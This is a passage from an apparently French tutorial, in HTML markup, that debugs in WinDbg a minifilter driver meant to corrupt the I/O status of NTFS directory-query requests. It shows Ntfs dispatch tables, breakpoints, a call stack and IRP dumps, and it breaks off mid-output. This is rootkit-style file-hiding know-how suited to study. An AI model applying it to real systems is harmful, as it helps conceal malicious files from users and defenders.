Ntfs+0x145af&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[11] IRP_MJ_LOCK_CONTROL                f9918aa3 Ntfs+0x79aa3&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[12] IRP_MJ_CLEANUP                     f98c4ab8 Ntfs+0x25ab8&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[13] IRP_MJ_CREATE_MAILSLOT             805025e4 nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[14] IRP_MJ_QUERY_SECURITY              f98c5404 Ntfs+0x26404&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[15] IRP_MJ_SET_SECURITY                f98c5404 Ntfs+0x26404&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[16] IRP_MJ_POWER                       805025e4 nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[17] IRP_MJ_SYSTEM_CONTROL              805025e4 nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[18] IRP_MJ_DEVICE_CHANGE               805025e4 nt!IopInvalidDeviceRequest&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[19] IRP_MJ_QUERY_QUOTA                 f98c52b9 Ntfs+0x262b9&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[1a] IRP_MJ_SET_QUOTA                   f98c52b9 Ntfs+0x262b9&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[1b] IRP_MJ_PNP                         f98e17f0 Ntfs+0x427f0&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Fast I/O routines:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoCheckIfPossible                   f98d8eda Ntfs+0x39eda&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoRead                              f98bfb57 Ntfs+0x20b57&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoWrite                             f98de448 Ntfs+0x3f448&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoQueryBasicInfo                    f98c548e Ntfs+0x2648e&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoQueryStandardInfo                 f98c3f7e Ntfs+0x24f7e&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoLock                              f98df0f2 Ntfs+0x400f2&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoUnlockSingle                      f98df1f8 Ntfs+0x401f8&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoUnlockAll                         f99186ae Ntfs+0x796ae&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoUnlockAllByKey                    f99187f3 Ntfs+0x797f3&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;AcquireFileForNtCreateSection           f98bf83a Ntfs+0x2083a&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ReleaseFileForNtCreateSection           f98bf881 Ntfs+0x20881&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoQueryNetworkOpenInfo              f9906e1d Ntfs+0x67e1d&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;AcquireForModWrite                      f98cba10 Ntfs+0x2ca10&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;MdlRead                                 f9906f31 Ntfs+0x67f31&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;MdlReadComplete                         8052bb18 nt!FsRtlMdlReadCompleteDev&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;PrepareMdlWrite                         f99072ab Ntfs+0x682ab&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;MdlWriteComplete                        80611143 nt!FsRtlMdlWriteCompleteDev&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;FastIoQueryOpen                         f98c3db8 Ntfs+0x24db8&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;AcquireForCcFlush                       f98bf6e2 Ntfs+0x206e2&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ReleaseForCcFlush                       f98bf708 Ntfs+0x20708&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Puis poser un breakpoint afin de pouvoir regarder un peu les IRPs du type IRP_MJ_DIRECTORY_CONTROL, celle que l'on contrôle au seins de notre minifilter.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; bp f98c6fbd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;On pose un breakpoint sur la routine de notre driver qui va corrompre le IO_STATUS_BLOCK de l'irp.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; bp C4lim3r0!ApresDirectoryControl&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;On relance la vm.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; g&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Normalement une fois query le dossier, on devrait breakpoint sur le driver Ntfs afin de visionner le status de l'irp, et ensuite notre minifilter devrait « intercepter » celle-ci et là nous tracerons afin d'arriver jusqu'au moment où l'on va modifier le status, nous afficherons ensuite le statut.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Breakpoint 0 hit&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Ntfs+0x27fbd:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;f98c6fbd 684c010000      push    14Ch&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;Op nous y voilà, nous affichons la call stack avec kv, pour pouvoir retrouver un pointeur sur une structure IRP, n'oublions pas que le prototype d'une dispatch routine est de cette forme :  &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;NTSTATUS DispatchRoutines(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Nous pouvons donc retrouver ce pointeur en dernier argument pusher sur la stack.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; kv&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ChildEBP RetAddr  Args to Child              &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;WARNING: Stack unwind information not available. Following frames may be wrong.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;f7d10c7c 804e3d77 81794880 815ad818 815ad818 Ntfs+0x27fbd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;f7d10cf8 8056a9ab f7d10d64 0148de30 80574dad nt!IopfCallDriver+0x31 (FPO: [0,0,0])&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;f7d10cb0 f995906b f7d10cd0 8150d490 00000000 nt!IopSynchronousServiceTail+0x60 (FPO: [Non-Fpo])&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;f7d10ce8 804e3d77 8150d490 815ad818 807112d0 fltMgr!FltGetIrpName+0x12ad&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;f7d10cf8 8056a9ab f7d10d64 0148de30 80574dad nt!IopfCallDriver+0x31 (FPO: [0,0,0])&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;f7d10d0c 80574e0a 8150d490 815ad818 815117a8 nt!IopSynchronousServiceTail+0x60 (FPO: [Non-Fpo])&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;f7d10d30 804df06b 00000230 00000000 00000000 nt!NtQueryDirectoryFile+0x5d (FPO: [Non-Fpo])&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;f7d10d30 7c91eb94 00000230 00000000 00000000 nt!KiFastCallEntry+0xf8 (FPO: [0,0] TrapFrame @ f7d10d64)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e108 7c9f8afd 0148e3b0 00000000 023e5cb4 0x7c91eb94&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e12c 7c9f8a97 0148e3b0 023e5cb4 023e5aa4 0x7c9f8afd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e380 7c9fa996 000400e8 00000000 0148e3b0 0x7c9f8a97&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e5d0 7c9fa870 023f6380 023f6368 0148e5f8 0x7c9fa996&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e5e0 7c9fab6d 023f6578 000400e8 000000e0 0x7c9fa870&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e5f8 7c9ff03d 023f6588 000400e8 000000e0 0x7c9fab6d&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e62c 7c9ffa3e 000400e8 0012687c 00126860 0x7c9ff03d&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e680 7e22d8f1 00000006 00000000 00126860 0x7c9ffa3e&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e72c 7e22ade9 0011d8f8 00126860 023e54f0 0x7e22d8f1&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e754 75f18518 001264d4 023e54f0 001864d0 0x7e22ade9&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e770 75f2c7ca 0011d8fc 023e54f0 001864d0 0x75f18518&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;0148e790 7e22b0b3 0011d8fc 023e54f0 001864d0 0x75f2c7ca&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Nous avons notre pointeur utilisons la commande !irp.&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;kd&gt; !irp 815ad818 1&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Irp is active with 9 stacks 8 is current (= 0x815ad984)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;No Mdl: No System Buffer: Thread 81593020:  Irp stack trace.  &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Flags = 00000800&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ThreadListEntry.Flink = 81593230&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ThreadListEntry.Blink = 81593230&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;IoStatus.Status = 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;IoStatus.Information = 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;RequestorMode = 00000001&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Cancel = 00&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;CancelIrql = 0&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;ApcEnvironment = 00&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;UserIosb = 0148de6c&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;UserEvent = 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Overlay.AsynchronousParameters.UserApcRoutine = 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Overlay.AsynchronousParameters.UserApcContext = 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Overlay.AllocationSize = 00000000 - 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;CancelRoutine = 00000000   &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;UserBuffer = 0148de9c&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;&amp;amp;Tail.Overlay.DeviceQueueEntry = 815ad858&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Tail.Overlay.Thread = 81593020&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Tail.Overlay.AuxiliaryBuffer = 814db890&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Tail.Overlay.ListEntry.Flink = 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Tail.Overlay.ListEntry.Blink = 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Tail.Overlay.CurrentStackLocation = 815ad984&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Tail.Overlay.OriginalFileObject = 815117a8&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Tail.Apc = 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;Tail.CompletionKey = 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;     &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;cmd  flg cl Device   File     Completion-Context&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[  0, 0]   0  0 00000000 00000000 00000000-00000000    &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;   Args: 00000000 00000000 00000000 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[  0, 0]   0  0 00000000 00000000 00000000-00000000    &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;   Args: 00000000 00000000 00000000 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[  0, 0]   0  0 00000000 00000000 00000000-00000000    &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;   Args: 00000000 00000000 00000000 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[  0, 0]   0  0 00000000 00000000 00000000-00000000    &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;   Args: 00000000 00000000 00000000 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[  0, 0]   0  0 00000000 00000000 00000000-00000000    &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;   Args: 00000000 00000000 00000000 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[  0, 0]   0  0 00000000 00000000 00000000-00000000    &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;   Args: 00000000 00000000 00000000 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt; &lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;[  0, 0]   0  0 00000000 00000000 00000000-00000000    &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;br /&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;   Args: 00000000 00000000 00000000 00000000&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;&gt;[  c, 1]   2 e0 81793020 815117a8 f99587de-815b9578 Success Error Cancel &lt;/span&gt;&lt;/span&gt; &lt;/p&gt; &lt;p style="margin-bottom: 0cm;"&gt;&lt;span style="font-family:Courier New,monospace;"&gt;&lt;span style="font-size:85%;"&gt;        \FileSystem\Ntfs 